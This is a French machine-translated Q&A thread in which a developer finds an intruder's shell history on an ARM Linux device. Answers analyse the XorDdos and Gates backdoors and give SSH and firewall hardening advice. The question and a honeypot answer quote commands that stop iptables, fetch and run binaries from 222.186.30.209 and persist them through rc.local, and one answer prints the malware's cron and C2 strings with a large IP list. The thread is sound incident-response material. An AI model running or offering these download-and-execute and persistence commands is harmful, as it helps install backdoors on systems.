Question Est-ce que je viens d'être piraté?


Je développe un produit grand public et il est censé être connecté à Internet. Comme prévu, il est connecté à Internet pour que je puisse le développer correctement.

Je suis parti pendant une heure ou deux et à mon retour au bureau, j'ai remarqué des commandes étranges écrites dans le terminal.

En regardant le fichier journal Linux appelé auth.log Je peux voir les lignes suivantes (parmi beaucoup d'autres):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

L'adresse IP 40.127.205.162 se révèle être appartenant à Microsoft.

Voici un tas de commandes qui ont été utilisées pendant mon absence:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Et plus:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

J'étais complètement inconscient de cela. Comment puis-je sécuriser mon produit correctement?

Je voudrais poster le complet auth.log fichier. Comment je fais ça?

En outre, le fichier yjz1 qui a été téléchargé semble être un cheval de Troie Linux et tout cela semble être fait par une sorte de groupe de hackers selon http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Dois-je appeler Microsoft et leur parler? Que devrais-je faire?


482
2018-02-01 11:21


origine


Oui, ça n'a pas l'air trop beau. Je ne suis pas un expert de Linux par tous les moyens, mais certains ont certainement essayé de s’exécuter là-bas. Je ne sais pas trop comment, car il semble que cela a tenté de se connecter en tant que root et a échoué. Y a-t-il d'autres journaux dans votre auth.log? Tout autre moyen d'administration à distance? J'ai vu que les Mac avec le serveur VNC activé étaient piratés auparavant, bien que cela ressemble à une tentative de SSH. On dirait que les adresses IP qu’elle télécharge sont hébergées quelque part en Chine. - Jonno
Vous avez forcé la brute. C'est pourquoi on ne laisse pas un serveur ssh sur Internet, même si vous avez un mot de passe. Tout ce qui est en deçà de l'authentification basée sur les clés n'est pas assez sécurisé ces jours-ci. - Journeyman Geek♦
Bien nous avons security.stackexchange.com. Mais la première chose en premier: l'hôte compromis ne peut plus être approuvé. Retirez-le du réseau. Si possible, faites une sauvegarde pour pouvoir rechercher ce qui a été fait et comment cela a été fait. Ensuite, réinstallez le système d'exploitation à partir d'une source propre. Restaurez les données à partir des sauvegardes. Sécuriser le système de sorte que vous ne soyez plus infecté. Il est fortement recommandé de savoir comment ils sont entrés. (D'où la recommandation de faire une copie du système infecté). - Hennes
FYI: 40.127.205.162 est un Microsoft Azure Adresse IP selon GeoIP. Par conséquent, vous ne pouvez pas blâmer Microsoft pour l'attaque - cela revient à blâmer Amazon parce que quelqu'un a utilisé EC2 pour le spam. La seule chose que Microsoft peut vraiment faire, c’est d’enlever Azure aux attaquants, mais ils seront de retour sur une autre plate-forme cloud en un rien de temps. - nneonneo
En fait, si cela a été écrit dans votre terminal, le pirate est probablement assis dans la cellule suivante. - isanae


Réponses:


EDIT 2:

Il y a une bonne raison pour laquelle cet article attire autant d'attention: vous avez réussi à enregistrer l'intégralité de la session en direct d'un intrus sur votre PC. Ceci est très différent de notre expérience quotidienne, où nous traitons de la découverte des conséquences de ses actions et essayons de les réparer. Ici, nous le voyons au travail, le voyons avoir des problèmes pour établir la porte arrière, revenir sur ses pas, travailler fiévreusement (peut-être parce qu'il était assis à votre bureau, comme suggéré ci-dessus ou peut-être incapable de faire exécuter son malware sur le système, lisez ci-dessous), et essayez de déployer des instruments de contrôle entièrement autonomes. C’est ce que les chercheurs en sécurité assument chaque jour avec leur pièges à miel. Pour moi, c'est une chance très rare et la source de quelque amusement.


Vous avez certainement été piraté. La preuve de cela fait ne pas vient de l'extrait de la auth.log fichier que vous avez affiché, car il signale une tentative de connexion infructueuse sur une courte période (deux secondes). Vous remarquerez que la deuxième ligne indique Failed password, tandis que le troisième rapporte un pre-auth déconnecter: le gars a essayé et a échoué.

Les preuves proviennent plutôt du contenu des deux fichiers http://222.186.30.209:65534/yjz et http://222.186.30.209:65534/yjz1 que l'attaquant a téléchargé sur votre système.

Le site est actuellement ouvert à quiconque pour les télécharger, ce que j'ai fait. J'ai couru file sur eux, qui a montré:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Ensuite, je les ai apportés sur une machine virtuelle Debian 64 bits que j'ai; un examen de leur contenu à travers le strings commande a révélé beaucoup de choses suspectes (référence à diverses attaques connues, à des commandes à remplacer, à un script clairement utilisé pour configurer un nouveau service, etc.).

J'ai ensuite produit les hashes MD5 des deux fichiers et les ai alimentés Cymru's base de données de hachage pour voir s'ils sont des agents connus des logiciels malveillants. Tandis que yjzn'est pas, yjz1 est, et Cymru rapporte une probabilité de détection par un logiciel anti-virus de 58%. Il indique également que ce fichier a été vu pour la dernière fois il y a trois jours, il est donc relativement récent.

Fonctionnement clamscan (partie de la clamav package) sur les deux fichiers que j'ai obtenus:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

Nous sommes donc maintenant certains qu'un logiciel Linux standard peut l'identifier.

Que devrais tu faire? 

Bien que plutôt nouveau, aucun des deux systèmes n’est nouveau, voir cet article de janvier 2015 sur XorDdos, par exemple. Donc, la plupart des paquets gratuits devraient pouvoir le supprimer. Tu devrais essayer: clamav, rkhunter, chkrootkit. J'ai parcouru Googled et vu qu'ils prétendent pouvoir le repérer. Utilisez-les pour vérifier le travail de votre prédécesseur, mais après avoir exécuté ces trois programmes, vous devriez être prêt.

Quant à la plus grande question, what should you do to prevent future infectionsLa réponse du compagnon est un bon premier pas. Gardez simplement à l'esprit que c'est une lutte permanente, une lutte que nous tous (y compris moi!) Avons très bien pu perdre sans même le savoir.

MODIFIER:

À l'invite (indirecte) de Viktor Toth, j'aimerais ajouter quelques commentaires. Il est certainement vrai que l'intrus a rencontré des difficultés: il télécharge deux outils de piratage distincts, modifie leurs autorisations à plusieurs reprises, les redémarre plusieurs fois et tente plusieurs fois de désactiver le pare-feu. Il est facile de deviner ce qui se passe: il s'attend à ce que ses outils de piratage ouvrent un canal de communication vers l’un de ses PC infectés (voir plus loin), et ne voit pas ce nouveau canal sur son interface graphique L'outil étant bloqué par le pare-feu, il répète la procédure d'installation. Je suis d'accord avec Viktor Toth que cette étape particulière de son opération ne semble pas porter les fruits escomptés, mais je voudrais vous encourager très fortement ne pas sous-estimer l'ampleur des dommages infligés à votre ordinateur.

Je fournis ici une sortie partielle de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Cela fournit la preuve de la manipulation des services (en /etc/init.d et en /etc/rc.d), avec crontab, avec le fichier historique de mysql, et quelques fichiers dans proc qui sont des liens vers bash (ce qui suggère qu'une version frauduleuse personnalisée de votre shell a été installée). Ensuite, le programme génère une requête HTTP (sur un site de langue chinoise,

 Accept-Language: zh-cn

ce qui donne corps au commentaire de David Schwartz ci-dessus), ce qui peut créer encore plus de dégâts. Dans la requête, des binaires (Content-Type: application/x-www-form-urlencoded) doivent être téléchargés sur le PC attaqué (GET) et téléchargés sur la machine de contrôle (POST). Je ne pouvais pas établir ce qui serait téléchargé sur le PC attaqué, mais, compte tenu de la petite taille des deux yjz et yjz1 (1,1 Mo et 600 Ko, respectivement), je peux risquer de supposer que la plupart des fichiers nécessaires pour masquer le rootkit, c'est à dire. les versions modifiées de ls, netstat, ps, ifconfig, ..., serait téléchargé de cette façon. Et cela expliquerait les tentatives fiévreuses de l'attaquant pour obtenir ce téléchargement.

Il n'y a aucune certitude que ce qui précède épuise toutes les possibilités: nous manquons certainement d'une partie de la transcription (entre les lignes 457 et 481) et nous ne voyons pas de déconnexion; en outre, les lignes 495-497, particulièrement inquiétantes,

cd /tmp;  ./yd_cd/make

qui se réfèrent à un fichier que nous n'avons pas vu téléchargé, et qui pourrait être une compilation: si c'est le cas, cela signifie que l'attaquant a (enfin?) compris quel était le problème avec ses exécutables, et tente de le réparer, auquel cas le PC attaqué a définitivement disparu. [En fait, les deux versions du logiciel malveillant que l'attaquant a téléchargées sur la machine piratée (et moi sur ma machine virtuelle Debian 64 bits) sont destinées à une architecture inappropriée, x86, alors que le nom du PC piraté révèle que il avait affaire à une architecture de bras].

La raison pour laquelle j'ai écrit cette édition est de vous inviter le plus fortement possible à peigner votre système avec un instrument professionnel ou à le réinstaller à partir de zéro.

Et, en passant, devrait-il être utile à quiconque, c'est la liste des 331 Adresses IP auxquelles yjz essaie de se connecter. Cette liste est si grande (et probablement destinée à devenir encore plus grande) que je crois que c'est la raison de la falsification mysql. La liste fournie par l’autre porte dérobée est identique, ce qui, je suppose, est la raison pour laquelle une information aussi importante est laissée ouverte (I pense L'attaquant ne souhaitait pas faire l'effort de les stocker au format noyau, il a donc mis toute la liste dans un fichier en clair, qui est probablement lu par tous ses backdoors, quel que soit le système d'exploitation:

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Le code suivant

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

sur la liste ci-dessus montre que 302 sur un total 331 les adresses sont en Chine continentale, les autres sont à Hong Kong, en Mongolie et à Taiwan. Cela ajoute un soutien supplémentaire à l'affirmation de David Schwartz selon laquelle il s'agit principalement d'un bot bot chinois.

EDIT 3

A la demande de @ vaid (l'auteur de l'OP, lisez son commentaire ci-dessous), j'ajouterai un commentaire sur la manière de renforcer la sécurité d'un système Linux basique (pour un système fournissant de nombreux services, il s'agit d'un sujet beaucoup plus complexe). vaid déclare qu'il a fait ce qui suit:

  1. Réinstaller le système

  2. a changé le mot de passe root en un mot de passe de 16 caractères avec des lettres et des caractères minuscules et majuscules mélangés.

  3. Changé le nom d'utilisateur en un nom d'utilisateur de 6 caractères mixtes et appliqué le même mot de passe que celui utilisé pour root

  4. changé le port SSH à quelque chose au dessus de 5000

  5. désactivé la connexion root SSH.

C'est bien (sauf que j'utilise un port supérieur à 10 000, car de nombreux programmes utiles utilisent les ports inférieurs à 10 000). Mais Je ne saurais trop insister sur la nécessité d'utiliser des clés cryptographiques pour la connexion ssh, au lieu de mots de passe. Je vais vous donner un exemple personnel. Sur l'un de mes VPS, je n'étais pas certain de pouvoir changer le port ssh. Je l'ai laissé à 22 ans, mais j'ai utilisé des clés de chiffrement pour l'authentification. j'avais des centaines de tentatives d'effraction par jour, aucun n'a réussi. Lorsque, fatiguée de vérifier quotidiennement que personne n’avait réussi, j’ai finalement basculé le port sur quelque chose au-dessus de 10 000, les tentatives de rodage étant tombées à zéro. Attention, ce ne sont pas les pirates qui sont stupides (ils ne le sont pas!), Ils ne font que traquer des proies plus faciles.

Il est facile d'activer une clé de chiffrement avec RSA comme algorithme de signature, voir le commentaire ci-dessous de Jan Hudec (merci!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Il ne vous reste plus qu'à copier le fichier id_rsa à la machine à partir de laquelle vous souhaitez vous connecter (dans un répertoire .ssh, aussi chmodà 700), puis lancez la commande

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Lorsque vous êtes sûr que cela fonctionne, éditez sur le serveur (= la machine à laquelle vous souhaitez vous connecter) le fichier /etc/ssh/sshd_config, et changez la ligne

#PasswordAuthentication yes

à

PasswordAuthentication no

et redémarrer le ssh un service (service ssh restart ou systemctl restart ssh, ou quelque chose comme ça, en fonction de la distribution).

Cela résistera beaucoup. En fait, il n’existe actuellement aucun exploit connu contre les versions actuelles de openssh v2, et de RSA comme employé par openssh v2.

Enfin, afin de bien verrouiller votre machine, vous devrez configurer le pare-feu (netfilter / iptables) comme suit:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Ceci, 1) permet des connexions ssh à partir de LAN et de WAN, 2) autorise toutes les entrées qui ont été générées par vos requêtes (par exemple, lorsque vous chargez une page Web), 3) laisse tout le reste sur l'entrée. la sortie et 5-6) permet tout sur l'interface de bouclage.

Au fur et à mesure que vos besoins augmentent, et que davantage de ports doivent être ouverts, vous pouvez le faire en ajoutant, en haut de la liste, des règles telles que:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

pour permettre par exemple aux personnes d'accéder à votre navigateur Web.


477
2018-02-01 16:05



C'était super à lire. J'ai aussi essayé le fichier yjz1 à travers Google VirusTotal.com ce qui a donné un point positif. Je n'ai même pas vu ça yjzavait été téléchargé. Merci. - vaid
Faites attention à courir strings sur des données non fiables. lcamtuf.blogspot.com/2014/10/... - Matt Nordhoff
@MattNordhoff Merci de l'avoir signalé, je l'ignorais parfaitement. Cependant, sur ma Debian, la commande 'strings` passe le test que vous avez lié avec brio. Je présume que cela est dû au fait que le manuel indique: -a ... Normalement c'est le comportement par défaut. À votre santé. - MariusMatutiae
Cette réponse montre une approche qui devrait être un paradigme: 1. Ne laissez pas votre attention être détournée par des tentatives infructueuses, soyez alerté. 2. Isolez les actions réussies de l’attaquant. 3. Etudiez ce que l’attaquant a fait et comment. 4. Installez tout à partir de zéro ou de la dernière sauvegarde non endommagée (attaquée), en ajoutant les protections supplémentaires nécessaires que vous avez trouvées (point 3). 5. Aidez les autres à se protéger (la liste des adresses IP compromises / suspectes). - Hastur
[Expurgé après le commentaire de @MariusMatutiae] - Néanmoins, le PO devrait se rendre compte que sur un système compromis, chaque exécutable doit être considéré comme malveillant, même le shell, ls, who ou toute autre chose. "Récupérer des données" en utilisant n'importe quel exécutable sur le système compromis (par ex. scp ou rsync) pourrait compromettre encore plus de machines. - Dubu


Bienvenue sur Internet - où tout serveur SSH ouvert va probablement être sondé, forcé et avoir diverses indignités.

Pour commencer, vous devez effacer complètement le stockage sur le produit. Image si vous voulez le transmettre pour la criminalistique, mais l'installation de Linux est maintenant suspecte.

Peu de devinettes mais

  1. Vous avez été forcé ou utilisez un mot de passe commun. C'est la sécurité par l'obscurité mais vous ne voulez pas un mot de passe de dictionnaire ou utiliser un compte root ouvert à SSH. Désactiver l’accès SSH root si c’est une option ou au moins changer le nom pour qu’ils aient à deviner les deux. SSHing en tant que racine est une pratique de sécurité terrible de toute façon. Si vous devez utiliser root, connectez-vous en tant qu'autre utilisateur et utilisez su ou sudo pour basculer.

  2. Selon le produit, vous souhaiterez peut-être verrouiller l'accès SSH d'une manière ou d'une autre. Un verrouillage total semble être une bonne idée et permet aux utilisateurs de l'ouvrir comme requis. Selon les ressources que vous pouvez épargner, envisagez uniquement d'autoriser les adresses IP dans votre propre sous-réseau ou dans un système de limitation de connexion. Si vous n'en avez pas besoin sur le produit final, assurez-vous qu'il est éteint.

  3. Utilisez un port non standard. Sécurité à nouveau par obscurité, mais cela signifie qu'un attaquant doit cibler votre port.

  4. N'utilisez jamais un mot de passe par défaut. La meilleure approche que j'ai vue consiste à générer de manière aléatoire un mot de passe pour un périphérique spécifique et à l'expédier avec votre produit. Les meilleures pratiques sont l’authentification par clé, mais je ne sais pas comment vous aborderiez cela sur un produit grand public.


140
2018-02-01 13:24



5. Utilisez la clé publique auth si possible. Le mot de passe est beaucoup moins sécurisé. - Bob
Oui, mais si c'est un appareil grand public, ce n'est peut-être pas une option. Sur une boîte de dev, ça sonne comme une idée géniale. Sur un serveur, eh bien, je me suis fait pirater avant; p - Journeyman Geek♦
S'il s'agit d'un appareil grand public, le même mot de passe ou la même clé aléatoire est également une mauvaise idée. Il en va de même pour tout ce qui est basé sur son numéro de série, son code MAC ou toute autre information identifiable. (Quelque chose que beaucoup de modem / routeurs / WAP SoHO semblent avoir manqué). - Hennes
C'est un appareil grand public. Cependant, la grande majorité des consommateurs ciblés ne seront pas suffisamment éduqués pour savoir ce qu’est le SSH. Ainsi, SSH peut être désactivé et sera probablement désactivé. - vaid
Utiliser aussi fail2ban. - Shadur


Oh, vous avez été définitivement piraté. Quelqu'un semble avoir réussi à obtenir des informations d'identification root et a tenté de télécharger un cheval de Troie sur votre système. MariusMatutiae a fourni une analyse de la charge utile.

Deux questions se posent: a) L’attaquant a-t-il réussi? Et b) que pouvez-vous faire à ce sujet?

La réponse à la première question mai être un non Notez comment l'attaquant tente à plusieurs reprises de télécharger et d'exécuter le payload, apparemment sans succès. Je soupçonne que quelque chose (SELinux, peut-être?) S'est mis en travers de son chemin.

TOUTEFOIS: L’attaquant a également modifié votre /etc/rc.d/rc.local fichier, dans l’espoir que lorsque vous redémarrez votre système, la charge utile sera activée. Si vous n'avez pas encore redémarré le système, ne redémarrez pas tant que vous n'avez pas supprimé ces modifications. /etc/rc.d/rc.local. Si vous l'avez déjà redémarré ... bon courage!

En ce qui concerne ce que vous pouvez faire à ce sujet: La chose la plus sûre à faire est d’essuyer le système et de le réinstaller à partir de zéro. Mais cela peut ne pas toujours être une option. Une chose beaucoup moins sûre à faire est d'analyser exactement ce qui s'est passé et d'en effacer toutes les traces, si vous le pouvez. Encore une fois, si vous n'avez pas encore redémarré le système, il suffit peut-être de le nettoyer. /etc/rc.d/rc.local, supprimez tout ce qui a été téléchargé par l'attaquant et, enfin et surtout, modifiez le mot de passe!

Cependant, si l'attaquant était déjà en mesure d'exécuter la charge utile, il se peut que d'autres modifications à votre système soient difficiles à détecter. C'est pourquoi une lingette complète est vraiment la seule option sûre (et recommandée). Comme vous l’avez indiqué, l’équipement en question peut être un objectif de test / développement, donc peut-être qu’il ne soit pas aussi douloureux que dans d’autres cas.

Mettre à jour: Malgré ce que j'ai écrit sur une reprise possible, je souhaite faire écho à MariusMatutiae très fort recommandation de ne pas sous-estimer les dommages potentiels causés par cette charge utile et la mesure dans laquelle elle pourrait avoir compromis le système cible.


33
2018-02-01 21:06



Merci. J'ai décidé d'essuyer le système. Je l'ai redémarré plusieurs fois, mais juste pour copier des données essentielles. Pas de binaires, uniquement du code source. Je suppose que je suis assez en sécurité maintenant. - vaid
Qu'en est-il des autres boîtes sur le même réseau local? - WGroleau
Bonne question. L'historique du shell fourni n'indique aucune tentative pour découvrir et compromettre d'autres boîtes sur le même réseau. Plus généralement, si l'attaquant obtient un accès SSH (root) à une boîte, cela signifie essentiellement qu'il a ignoré tout pare-feu de périmètre. Cependant, cela n'implique pas automatiquement que les autres boîtes sont compromises: cela nécessiterait autre chose comme une vulnérabilité non corrigée, des mots de passe partagés entre les boîtes, une connexion automatique d'une boîte à une autre, etc. - Viktor Toth


Mon sshd-honeypot a également vu ce genre d'attaque. Les premiers téléchargements de cette URL ont commencé le 2016-01-29 10:25:33 et les attaques sont toujours en cours. Les attaques viennent / venaient

103.30.4.212
111.68.6.170
118.193.228.169

L'entrée de ces attaquants était:

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Donc, pas d'activités autres que l'installation de la porte dérobée pour plus tard.


17
2018-02-02 10:34



D'accord, c'est le même MO. - MariusMatutiae
